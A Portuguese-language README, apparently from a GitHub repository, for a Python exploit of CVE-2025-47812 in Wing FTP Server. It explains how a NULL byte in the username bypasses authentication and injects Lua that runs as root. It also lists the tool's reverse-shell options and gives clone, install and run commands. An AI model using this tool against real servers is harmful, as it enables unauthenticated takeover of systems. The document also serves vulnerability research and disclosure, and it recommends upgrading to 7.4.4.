
Exploit para CVE-2025-47812 com shell psudo personalizado e tratamento robusto de erros.
CVE-2025-47812 Validação de entrada inadequada levou à execução remota de código até o comprometimento total do sistema
Julien Ahrens, da RCE Security, descobriu uma vulnerabilidade de segurança crítica que afeta o WingFTP. Registrada como CVE-2025-47812, a vulnerabilidade possui pontuação CVSS 10. A exploração bem-sucedida da vulnerabilidade pode permitir que um atacante remoto não autenticado execute código arbitrário, levando ao comprometimento total do sistema.
O Wing FTP Server é um software de servidor FTP multiplataforma, fácil de usar e seguro. Ele suporta múltiplos protocolos de transferência de arquivos, como FTP, FTPS, HTTP, HTTPS e SFTP, permitindo flexibilidade para conexões de clientes.
Para pesquisar a CVE-2025-47812, implantei um contêiner Docker executando o Wing FTP Server 7.4.3 em um host Linux. O contêiner foi configurado para expor a interface web, e habilitei o login anônimo para facilitar os testes não autenticados. Além disso, uma conta de usuário de teste (dev-test:test) foi criada para simular cenários autenticados. Essa configuração forneceu um ambiente seguro e controlado para reproduzir a vulnerabilidade e validar o comportamento do exploit.
CVE ID: CVE-2025-47812
Vetor CVSS v3.1:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Pontuação Base: 10.0 (Crítica)
Software Afetado: <= 7.4.3
Impacto: Execução Remota de Código levou ao comprometimento total do sistema.
Pré-requisitos de Exploração:
Login anônimo permitido ou credencial de usuário válida
Nenhuma permissão sudo necessária para o usuário
Quando um usuário tenta fazer login, a chamada c_CheckUser é acionada, e ela sempre retorna OK_CHECK_CONNECTION independentemente do que vem depois do byte NULL no nome de usuário, desde que a string antes do byte NULL corresponda a um usuário existente. Um atacante pode explorar a vulnerabilidade adicionando um byte NULL e valores extras a um nome de usuário conhecido para contornar a verificação de senha. O sistema usa strlen() no nome de usuário para obter o tamanho da string, mas strlen conta apenas todos os caracteres até atingir o terminador de byte NULL para corresponder ao nome de usuário não sanitizado.
O nome de usuário não sanitizado (incluindo o NULL injetado e o payload inteligente) é armazenado diretamente em arquivos de sessão como código Lua. Esses arquivos de sessão se assemelham a .lua e são posteriormente executados quando as sessões são carregadas. No Linux, o servidor Wing FTP é executado como root; no Windows, é executado como SYSTEM. O payload Lua injetado é executado com privilégios totais no recarregamento da sessão.
Nota: Esse comportamento só ocorre se a senha não estiver definida ou com credenciais válidas. Ele impõe uma validação estrita de senha se a senha estiver definida para o usuário.
Options:
-t, --target Target Wing FTP Server URL (e.g., http://192.168.1.100)
-u, --username Username to authenticate (default: anonymous)
-p, --password Password to authenticate (default: empty)
-lh, --lhost Local host to listen for reverse shell (default: 127.0.0.1)
-lp, --lport Local port to listen for reverse shell (default: 31337)
-ns, --no-shell To specify the exploit to not span a temp shell. (Note if it set should manually set listener)
-v, --verbose Enable verbose/debug output
-h, --help Show this help message and exit
git clone https://github.com/pevinkumar10/CVE-2025-47812
cd CVE-2025-47812
pip3 install -r requirements.txt
CVE-2025-47812 - RCE não autenticado no Wing FTP Server
CVE-2025-47812 - RCE autenticado no Wing FTP Server (dev-test:test)
Exemplo de uso:
python3 exploit.py --target http://172.17.0.2 --lhost 172.17.0.1 -lport 31336
Os usuários devem atualizar para a versão 7.4.4 do WingFTP para corrigir a vulnerabilidade.
Consulte as Notas de versão do WingFTP para obter mais informações.
Nota: Usei a referência acima para fins de pesquisa e atualizei o exploit com mais recursos e tratamento robusto de erros.
Este PoC em Python é distribuído sob a licença MIT. O crédito pelo conceito original do exploit e pela divulgação pertence à Stratascale Cyber Research Unit.